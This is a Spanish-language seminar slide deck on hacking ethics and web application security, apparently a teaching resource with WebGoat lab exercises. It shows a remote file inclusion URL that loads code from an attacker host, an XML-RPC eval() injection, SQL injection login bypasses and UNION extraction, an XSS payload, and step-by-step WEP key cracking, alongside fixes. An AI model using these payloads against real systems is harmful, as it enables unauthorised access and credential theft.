Sie sind auf Seite 1von 53

Ética de Hacking

Patrick Hernández Cuamatzi


Introducción
¿Qué es la ética?
` La palabra ética proviene del griego ethos cuyo
significado es "costumbre"
costumbre .

` No prescribe ninguna norma o conducta; no manda ni


sugiere directamente qué debemos hacer. Su cometido
consiste en aclarar qué es lo moral, cómo se fundamente
racionalmente una moral y cómo se ha de aplicar ésta
posteriormente a los distintos ámbitos de la vida social.

` En la vida cotidiana constituye una reflexión sobre el


hecho moral, busca las razones que justifican la
utilización
tili ació de un siste
sistema
a moral
o al u ot
otro.
o
¿Qué es un hacker?
` La RFC (Request For Comments) 1392 lo define como:
` “Persona que se disfruta de un conocimiento profundo del
funcionamiento interno de un sistema, en particular de
computadoras y redes informáticas”

` Hacker es el neologismo utilizado para referirse a un


experto en varias o alguna rama técnica relacionada con
la informática.
El Hacker
` Soluciona problemas y construye cosas.

` Este término no esta confinado exclusivamente a


computadoras, también se le utiliza en música,
electrónica, etc.

` Algunos lo consideran una cultura.


Actitud Hacker
` Ser proactivo

` Resolver problemas que otros piensan difíciles.

` Construir o diseñar soluciones.

` Complementar lo que aprende, investigando.

` Tratar de no decir: no tengo tiempo, nunca, siempre, si


no funciona reinícialo, etc.
Actitud Hacker
` Como un poema moderno dice:

` To follow the path:


look to the master,
follow the master,
walk with the master,
see through the master,
b
become th master.
the t

` So, if you want to be a hacker, repeat the following things


until
til you believe
b li them
th

`
Hacker vs Cracker
` La diferencia básica es la siguiente:

` El hacker construye cosas, el cracker las rompe.

` Lo cual no quiere decir que el hacker no las pueda


romper, es allí donde recae la ética.
Tips
` Si quieren probar el potencial de un equipo, adquieran un
sistema operativo basado en código abierto (Linux
(Linux, Free
BSD, etc.).

` Tratar de aprender a hackear en una máquina con


Mi
Microsoftf Wi
Windows
d o con cualquier
l i otro sistema
i cerrado
d
es como tratar de aprender a bailar mientras usa un yeso
en el cuerpo.
p
Recuerden…
` El mundo esta lleno de fascinantes problemas esperando
ser resueltos.
resueltos

` Ningún problema tiene que ser resuelto dos veces.

` El aburrimiento y la monotonía son malos.

` La libertad es buena.

` La actitud no es substituto de la competencia.


Seguridad en Aplicaciones WEB

Patrick Hernández Cuamatzi


Pero…¿qué es en si?
` Se encuentra relacionada única y exclusivamente con: la
lógica la escritura de código y el contenido de una
lógica,
aplicación web.

` Contrariamente a lo que suele pensarse no estamos


hablando de defectos o vulnerabilidades en sistemas
operativos o servidores HTTP.
HTTP
` No estamos hablando de problemas que puedan ser
resueltos instalando el último service pack, o bajando las
ultimas
lti actualizaciones,
t li i nii estamos
t hablando
h bl d ded instalar
i t l ell
firewall más caro del mercado.
` Estamos hablando de TUS APLICACIONES…

` Aquellas que tu diseñaste y que implementaste y


quizás…implantaste.

` Vulnerabilidades de tu propio software


Antes de comenzar
` Gran parte del intercambio de información a través de
Internet se encuentra relacionado con HTTP.
HTTP

` El concepto detrás de éste protocolo es simple (cliente


(cliente-
servidor), uso de mensajes.
` (GET, HEAD, POST, etc.) conocidos como métodos

` Si como parte de nuestra tarea de evaluación de


seguridad, vamos a interactuar con servidores HTTP y
aplicaciones WEB suena lógico que conozcas la forma en
que una conversación es establecida.
Vulnerabilidades
Ejecución de código remotamente
` Obteniendo ventaja de la configuración register_global
` register_globals
register globals es una configuración de PHP que controla
la disponibilidad de las variables superglobales en un script
php (Tales como información posteada de formularios
(post) datos desde la url (get),
(post), (get) o información traída de las
cookies.

` Cuando register_globals está definida en “On” dentro del


php.ini, esto permitiría a un usuario cualquiera poder
inicializar una variable remotamente. Muchas veces no es
i i i li d ell parámetro
inicializado á t que se utiliza
tili para incluir
i l i archivos
hi
indeseados de un atacante, y este podría terminar en una
ejecución arbitraria de archivos localizados local y
remotamente.
remotamente
Ejecución de código remotamente
` <?php
/*
/
con register_globals = On, $archivo es lo mismo que
$_GET['archivo']
$_POST['archivo']
$_COOKIE['archivo']
*/
require($archivo.".php");
?>

` Aquí
qu e el p
parámetro
et o de $
$archivo
c o no o se inicializa
c s
si los
os
register_globals se ponen en “On”, el servidor será
vulnerable a la ejecución a distancia del código incluyendo
cualquier archivo arbitrario en el parámetro $archivo.
Ejecución de código remotamente
` Ahora un ejemplo de cómo explotar esta vulnerabilidad:
http://www.vulnsite.com/index.php?archivo=http://ww
p // / p p p //
w.attacker.com/attack.txt

` De esta manera, el archivo


http://www.attacker.com/attack.txt será incluido y
ejecutado en el servidor
servidor. Es un ataque muy simple pero
eficaz.
Vulnerabilidades XMLRPC en PHP
` Es un protocolo muy simple ya que sólo define unos
cuantos tipos
p de datos y comandos útiles,, además de una
descripción completa de corta extensión.

` Un común desperfecto está en los distintas


implementaciones de XML-RPC en PHP pasando entradas
de datos del usuario sin filtrar por la función eval() en el
servidor XML-RPC. Esto permite al atacante ejecutar código,
en el sistema vulnerable. Cualquier usuario con habilidad
de subir XML manualmente al servidor p puede insertar
código PHP que puede ser ejecutado por la aplicación Web
vulnerable.
Vulnerabilidades XMLRPC en PHP
` <?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
<params>
<param>
<value><name>','')); echo"Hola mundo! :P";
die();/*</name></value>
</param>
</params>
</methodCall>

` El anterior XML, cuando sea posteado al servidor


vulnerable, hará que se muestre un mensaje de “Hola
mundo” y se detenga
g la ejecución
j del script
p PHP.
Medidas para solucionar el problema
` Las versiones recientes de PHP, por default traen
register
g _g
globals en Off,, sin embargo
g algunos
g usuarios
cambian esta configuración para aplicaciones que lo
requieren. Esta configuración puede ser definida en “On” o
en “Off” en el archivo php.ini o un .htaccess. La variable
deberá ser propiamente inicializada si el registro está
definido en “On”.

` Se debe filtrar todas las entradas de datos del usuario antes


de procesarlas. Hasta donde sea posible, tratar de no
utilizar comandos de la shell. Sin embargo, si son
requeridos, asegurarse que solo datos filtrados sean usados
para construir la cadena a ser ejecutada.
Inyección de código SQL
` Ejemplo 1:

` $us=$_POST['usuario'];
$pass=$_POST['pass'];
$
$sql="SELECT * FROM usuarios WHERE user = '$us'
$ AND
password='$pass'";

` ****por aqui va más código*****

` if(mysql_fetch_array($exc)){
echo "Inicio de sesión correcto"; // Esto fue modificado
}
Inyección de código SQL
` Este es el típico sistema de verificación de contraseñas.

` Utiliza mysql_fetch_array
` funcion de mysql, que devuelve falso si no hay ningún
resultado, en el query o petición.

` Deben
b coincidir
i idi ell usuario
i y ell password
d para que
devuelva true
Inyección de código SQL
` ¿Cómo podemos hacer que “no” devuelva false si
conocemos el usuario?
` Con el password correcto
` Haciendo trampa

` Lógicamente no usaremos la primera opción.


Inyección de código SQL
` Sabemos que ésta es la petición:
` SELECT * FROM usuarios WHERE user = '$us' AND
password='$pass'

` ¿Cómo podemos hacer que nos devuelva TRUE aunque


no sepamos el password, sabiendo que podemos
modificar $pass y $us?

` Supongamos
p g q
que le p
ponemos de usuario Pedro y de
contraseña qwerty
Inyección de código SQL
` La sentencia que SQL recibirá es:
` SELECT * FROM usuarios WHERE user = 'Pedro' AND
password=‘qwerty'

` Ahora con un poco de creatividad


` Usuario: Pedro
` Password: ' OR ''='

` La sentencia que SQL recibirá ahora es:


` SELECT * FROM usuarios WHERE user = 'Pedro' AND
password='' OR ''=''
Inyección de código SQL
` Y como OR ''='' siempre se cumple….

` Nos devuelve TRUE y ya estamos dentro de la aplicación.

` Otros posibles valores que devuelven true son:


` usuario: Pedro AND /* password: */ ''='
` usuario: ' OR 1=1 //

` Pruebe como quedaría la consulta de SQL…..5


SQL 5 minutos
Inyección de código SQL
` Y…si quisiéramos saber el password….
` Normalmente esta encriptado

` Bueno veamos otro ejemplo…

` Ahora un código más completo


Inyección de código SQL
` Ejemplo 2:

` $us=$_POST[‘usuario’];
$pas=$_POST[‘pass’];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
$sql="SELECT password FROM usuarios WHERE user = '$us'";

` /***Aquí va más código***/

` $resp = mysql_query($sql) or die(mysql_error());


if(mysql_fetch_array($resp)){
if($resp==$pas){
echo "Inicio de sesión exitoso"; // Esto fue modificado
} l {
}else{
echo "el password $resp es incorrecto";
}
}
Inyección de código SQL
` Si bien este ejemplo se ve más seguro…igual es vulnerable

` Aquí no se puede usar la inyección clásica, puesto que


hace una comprobación de las variables…sin embargo…

` Y si quisiera saber el password.

` Para allá vamos no se desesperen.


Inyección de código SQL
` Hay una instrucción en SQL llamada UNION que sirve
para obtener información de 2 tablas…
tablas

` La unión de dos tablas es el conjunto de tuplas que


pertenecen a una, a la otra o a las dos.

` Veamos un ejempo:
` Select denominacion from productos
Where clave_categoria=1
g
UNION
Select denominacion from productos
Where clave_categoria=2;
Inyección de código SQL
` Restricciones:
` Las dos select tienen que tener igual número de columnas y
del mismo tipo.

` B
Bueno…ya que sabemos
b eso…

` La instrucción a modificar es:


` SELECT password FROM usuarios WHERE user = '$us'
Inyección de código SQL
` Si colocamos por ejemplo el usuario: mexico

` La instrucción queda como:


` SELECT p
password FROM usuarios WHERE user = 'mexico'

` Otra vez necesitamos creatividad.

` usuario: ' AND 0 UNION SELECT 1 AND 'l'=‘


`
Inyección de código SQL
` Como quedaría:
` SELECT password FROM usuarios WHERE user = '' AND 0
UNION SELECT 1 AND 'l'=''

` Para lo cual SQL nos responderá:


` The used SELECT statements have a different number of
columns:SELECT ppassword FROM usuarios WHERE user =
'' AND 0 UNION SELECT 1 AND 'l'=''
Inyección de código SQL
` Continuando por el mismo camino, podemos hacer que
nos regrese un error,
error al tratar de UNIR un campo de tipo
INT (osea que guarda numeros) a un CHAR (guarda
letras)

` Quedaría algo así:


` ' UNION SELECT MIN(Password),2,3,4,5
MIN(Password) 2 3 4 5 FROM usuarios
WHERE user = 'mexico'
Inyección de código SQL
` La sentencia quedaría así:
` SELECT password FROM usuarios WHERE user = '' UNION
SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE
user = 'mexico'

` Que nos da como error:


` Syntax error converting the varchar value 'naranja'
naranja to a
column of data type int.

` Ooops…
Inyección de código SQL
` El siguiente es un ejemplo, con la misma sentencia
usuario:
` ' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='

` Y nos regresa:
` Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and
(utf8 general ci IMPLICIT) for operation 'UNION'
(utf8_general_ci,IMPLICIT) UNION

` ¿Qué
Q significa
g esto? qque estamos metiendo valores en utf
cuando debe ser en latin1.. eso lo arreglamos así:
` ' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5
AND ''l=‘
l
Inyección de código SQL
` Y esto nos regresa:
` root@localhost

` Y eso no es todo…podemos incluso crearnos nuestra


propia shell.
` Con hacer que regrese valores: '<??>'

` Pero eso… no es ético….


Medidas para solucionar el problema
` Escapar a todos los datos externos que serán introducidos
en la consulta
consulta. PHP tiene funciones especiales:
addslashes y mysql_real_escape_string.

` Buscar algo sobre Magic Quotes


Cross Site Scripting (XSS)
` Explotación de vulnerabilidades del sistema de validación de
HTML incrustado.

` <form action="buscar.php" method="get">


Búsqueda <input type=
type="text"
text name=
name="q">
q >
</form>
<?php echo "Hay ".$cantidad.” de resultados encontrados con
su búsqueda
q ". $
$_GET['q']?>
[q]

` El ejemplo anterior, cuando suponiendo la búsqueda del


termino "<script>alert(“xss”)</script>",
p ( ) / p , una vez haya y cargado
g
la página nos aparecerá una ventana de alerta diciendo “xss”
en vez de mostrarnos el texto tal cual lo escribimos. Esto se
debe a que no filtramos los datos introducidos por el usuario
Medidas para solucionar el problema
` Utilizar la función htmlentities(), quien convierte los
caracteres especiales en su entidad html por ejemplo el
carácter < en &lt;, > en &gt;, etc.
Hagamos una prueba
` Browser

` WebGoat: aplicación web

` WebScarab: Proxy de pruebas… verdaderas pruebas

` Netcat: util herramienta para probar conversación a nivel


crudo o promiscuo
Paso a Paso
1. Instalemos todo…
1
1. Instalen el mozilla Firefox 3.0
3 0 (de preferencia)
2. Para el caso de WebGoat solo descomprima (de preferencia
en C:\)
3. Para ell caso de
d Webscarab
b b igual
i l solo
l descomprimir
d i i

2. Probemos todo… (no se crean)


Una vez instalado todo
` Ejecute WebGoat (solo haga doble clic en el archivo
llamado webgoat.bat)
webgoat bat)
Webscarab
Reto…
` El siguiente reto se presenta como mecanismo de
aprendizaje con práctica.
práctica

` En base a lo visto ayer, se pide que puedan vulnerar 7


tareas del WebGoat no resueltas el dia de ayer.

` A los primeras 4 personas o 2 parejas que terminen se les


entregará un premio.
Rompiendo claves WEP
` ¿Qué es WEP?: Wired Equivalent Privacy

` Un mecanismo de cifrado
cifrado, que puede ser de 64 o 128 bits
Rompiendo claves WEP
1. Instalar Ubuntu 9.04 o el actual 9.10
2. I t l aircrack-ng:
Instalar i k sudo
d apt-get
t t install
i t ll aircrack-ng
i k
3. Descargar el script (acsaao.sh).
((http://ingenieria.uatx.mx/seminario09/etica/
p // g / 9/ / acsaao-1.0.tar.gz)
g )
4. Descomprimir el archivo tar –xvzf acsaao-1.0.tar.gz
5. Darle permisos de ejecución
# cd <ruta_donde_este_el_script>
# chmod u+x acsaao.sh
Rompiendo claves WEP
6. Crea los directorios 'crackwep' y 'crackwep/keys' en tu
home
home.

7. Si estas conectado a internet con la wifi (que es lo más


seguro ) desconéctate. Si tienes Network-Manager haz
click con el botón secundario en su icono del área de
notificaciones y deshabilita 'Activar
Activar Red'
Red

8
8. Ahora corre el script como root
sudo ./acsaao.sh
Rompiendo claves WEP
9. Comenzara configurando el modo monitor de la wifi
(mon0) y te lanzará airodump-ng
airodump ng para scannear redes
cercanas, dejalo unos segundos y después cierrala (o
presiona Ctrl + C).

10. En la terminal principal se mostrará las diferentes redes


encontradas escribe el número de la opción de tu red y
encontradas,
oprime enter. Posteriormente se lanzará airodump-ng
para capturar paquetes de tu red, segundos después se
lanzará aireplay-ng para la falsa autenticación y luego
lanzará otro aireplay-ng para la inyección de paquetes
a p.
arp.
Rompiendo claves WEP
11. Centraremos nuestra atención en la primer ventana
lanzada (la que captura paquetes),
paquetes) esperaremos hasta
que en #Data tenga un valor superior a 30,000 (puede
que al principio vaya lento).

12. En el terminal principal se nos preguntará si queremos


comenzar a descifrar la WEP,
WEP si ya tenemos arriba de
30,000 paquetes escribimos s (si) y enter. Se lanzará
aircrack-ng, esperamos unos segundillos y obtendremos
nuestra WEP key.
Recomendación…
` Cambiar el protocolo de cifrado por WPA (WiFi Protected
Access)

Das könnte Ihnen auch gefallen